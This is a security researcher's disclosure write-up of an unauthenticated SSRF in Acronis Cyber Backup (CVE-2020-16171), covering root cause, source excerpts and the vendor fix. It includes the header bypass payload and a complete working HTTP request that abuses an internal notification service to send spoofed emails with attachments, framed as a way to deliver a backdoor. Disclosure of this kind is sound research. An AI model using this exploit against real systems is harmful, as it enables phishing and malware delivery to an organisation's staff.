CVE-2020-16171: Exploiting Acronis Cyber Backup for Fun and Emails
You have probably read one or more blog posts about SSRFs, many being escalated to RCE. While this might be the ultimate goal, this post is about an often overlooked impact of SSRFs: application logic impact.
This post will tell you the story about an unauthenticated SSRF affecting Acronis Cyber Backup up to v12.5 Build 16341, which allows sending fully customizable emails to any recipient by abusing a web service that is bound to localhost. The fun thing about this issue is that the emails can be sent as backup indicators, including fully customizable attachments. Imagine sending Acronis “Backup Failed” emails to the whole organization with a nice backdoor attached to it? Here you go.
Root Cause Analysis
So Acronis Cyber Backup is essentially a backup solution that offers administrators a powerful way to automatically backup connected systems such as clients and even servers. The solution itself consists of dozens of internally connected (web) services and functionalities, so it’s essentially a mess of different C/C++, Go, and Python applications and libraries.
The application’s main web service runs on port 9877 and presents you with a login screen:
Now, every hacker’s goal is to find something unauthenticated. Something cool. So I’ve started to dig into the source
code of the main web service to find something cool. Actually, it didn’t take me too long to discover that something in
a method called make_request_to_ams
:
# WebServer/wcs/web/temp_ams_proxy.py:
def make_request_to_ams(resource, method, data=None):
port = config.CONFIG.get('default_ams_port', '9892')
uri = 'http://{}:{}{}'.format(get_ams_address(request.headers), port, resource)
[...]
The main interesting thing here is the call to get_ams_address(request.headers)
, which is used to construct a Uri.
The application reads out a specific request header called Shard
within that method:
def get_ams_address(headers):
if 'Shard' in headers:
logging.debug('Get_ams_address address from shard ams_host=%s', headers.get('Shard'))
return headers.get('Shard') # Mobile agent >= ABC5.0
When having a further look at the make_request_to_ams
call, things are getting pretty clear. The application
uses the value from the Shard
header in a urllib.request.urlopen
call:
def make_request_to_ams(resource, method, data=None):
[...]
logging.debug('Making request to AMS %s %s', method, uri)
headers = dict(request.headers)
del headers['Content-Length']
if not data is None:
headers['Content-Type'] = 'application/json'
req = urllib.request.Request(uri,
headers=headers,
method=method,
data=data)
resp = None
try:
resp = urllib.request.urlopen(req, timeout=wcs.web.session.DEFAULT_REQUEST_TIMEOUT)
except Exception as e:
logging.error('Cannot access ams {} {}, error: {}'.format(method, resource, e))
return resp
So this is a pretty straight-forward SSRF including a couple of bonus points making the SSRF even more powerful:
- The instantiation of the
urllib.request.Request
class uses all original request headers, the HTTP method from the request, and the even the whole request body. - The response is fully returned!
The only thing that needs to be bypassed is the hardcoded construction of the destination Uri since the API appends a semicolon, a port, and a resource to the requested Uri:
uri = 'http://{}:{}{}'.format(get_ams_address(request.headers), port, resource)
However, this is also trivially easy to bypass since you only need to append a ?
to turn those into parameters. A
final payload for the Shard header, therefore, looks like the following:
Shard: localhost?
Finding Unauthenticated Routes
To exploit this SSRF we need to find a route which is reachable without authentication. While most of CyberBackup’s routes
are only reachable with authentication, there is one interesting route called /api/ams/agents
which is kinda different:
# WebServer/wcs/web/temp_ams_proxy.py:
_AMS_ADD_DEVICES_ROUTES = [
(['POST'], '/api/ams/agents'),
] + AMS_PUBLIC_ROUTES
Every request to this route is passed to the route_add_devices_request_to_ams
method:
def setup_ams_routes(app):
[...]
for methods, uri, *dummy in _AMS_ADD_DEVICES_ROUTES:
app.add_url_rule(uri,
methods=methods,
view_func=_route_add_devices_request_to_ams)
[...]
This in return does only check whether the allow_add_devices
configuration is enabled (which is the standard config)
before passing the request to the vulnerable _route_the_request_to_ams
method:
def _route_add_devices_request_to_ams(*dummy_args, **dummy_kwargs):
if not config.CONFIG.get('allow_add_devices', True):
raise exceptions.operation_forbidden_error('Add devices')
return _route_the_request_to_ams(*dummy_args, **dummy_kwargs)
So we’ve found our attackable route without authentication here.
Sending Fully Customized Emails Including An Attachment
Apart from doing meta-data stuff or similar, I wanted to entirely fire the SSRF against one of Cyber Backup’s internal web services. There are many these, and there are a whole bunch of web services whose authorization concept solely relies only on being callable from the localhost. Sounds like a weak spot, right?
One interesting internal web service is listening on localhost
port 30572
: the Notification Service
. This service
offers a variety of functionality to send out notifications. One of the provided endpoints is /external_email/
:
@route(r'^/external_email/?')
class ExternalEmailHandler(RESTHandler):
@schematic_request(input=ExternalEmailValidator(), deserialize=True)
async def post(self):
try:
error = await send_external_email(
self.json['tenantId'], self.json['eventLevel'], self.json['template'], self.json['parameters'],
self.json.get('images', {}), self.json.get('attachments', {}), self.json.get('mainRecipients', []),
self.json.get('additionalRecipients', [])
)
if error:
raise HTTPError(http.BAD_REQUEST, reason=error.replace('\n', ''))
except RuntimeError as e:
raise HTTPError(http.BAD_REQUEST, reason=str(e))
I’m not going through the send_external_email
method in detail since it is rather complex, but this endpoint
essentially uses parameters supplied via HTTP POST to construct an email that is send out afterwards.
The final working exploit looks like the following:
POST /api/ams/agents HTTP/1.1
Host: 10.211.55.10:9877
Shard: localhost:30572/external_email?
Connection: close
Content-Length: 719
Content-Type: application/json;charset=UTF-8
{"tenantId":"00000000-0000-0000-0000-000000000000",
"template":"true_image_backup",
"parameters":{
"what_to_backup":"what_to_backup",
"duration":2,
"timezone":1,
"start_time":1,
"finish_time":1,
"backup_size":1,
"quota_servers":1,
"usage_vms":1,
"quota_vms":1,"subject_status":"subject_status",
"machine_name":"machine_name",
"plan_name":"plan_name",
"subject_hierarchy_name":"subject_hierarchy_name",
"subject_login":"subject_login",
"ams_machine_name":"ams_machine_name",
"machine_name":"machine_name",
"status":"status","support_url":"support_url"
},
"images":{"test":"./critical-alert.png"},
"attachments":{"test.html":"PHU+U29tZSBtb3JlIGZ1biBoZXJlPC91Pg=="},
"mainRecipients":["info@somerandomemail.com"]}
This involves a variety of “customizations” for the email including a base64-encoded attachments
value. Issuing
this POST request returns null
:
but ultimately sends out the email to the given mainRecipients
including some attachments
:
Perfectly spoofed mail, right ;-) ?
The Fix
Acronis fixed the vulnerability in version v12.5 Build 16342
of Acronis Cyber Backup by changing the way that get_ams_address
gets the actual Shard
address. It now requires an additional authorization header with a JWT that is passed to a method
called resolve_shard_address
:
# WebServer/wcs/web/temp_ams_proxy.py:
def get_ams_address(headers):
if config.is_msp_environment():
auth = headers.get('Authorization')
_bearer_prefix = 'bearer '
_bearer_prefix_len = len(_bearer_prefix)
jwt = auth[_bearer_prefix_len:]
tenant_id = headers.get('X-Apigw-Tenant-Id')
logging.info('GET_AMS: tenant_id: {}, jwt: {}'.format(tenant_id, jwt))
if tenant_id and jwt:
return wcs.web.session.resolve_shard_address(jwt, tenant_id)
While both values tenant_id
and jwt
are not explicitly validated here, they are simply used in a new hardcoded
call to the API endpoint /api/account_server/tenants/
which ultimately verifies the authorization:
# WebServer/wcs/web/session.py:
def resolve_shard_address(jwt, tenant_id):
backup_account_server = config.CONFIG['default_backup_account_server']
url = '{}/api/account_server/tenants/{}'.format(backup_account_server, tenant_id)
headers = {
'Authorization': 'Bearer {}'.format(jwt)
}
from wcs.web.proxy import make_request
result = make_request(url,
logging.getLogger(),
method='GET',
headers=headers).json()
kind = result['kind']
if kind not in ['unit', 'customer']:
raise exceptions.unsupported_tenant_kind(kind)
return result['ams_shard']
Problem solved.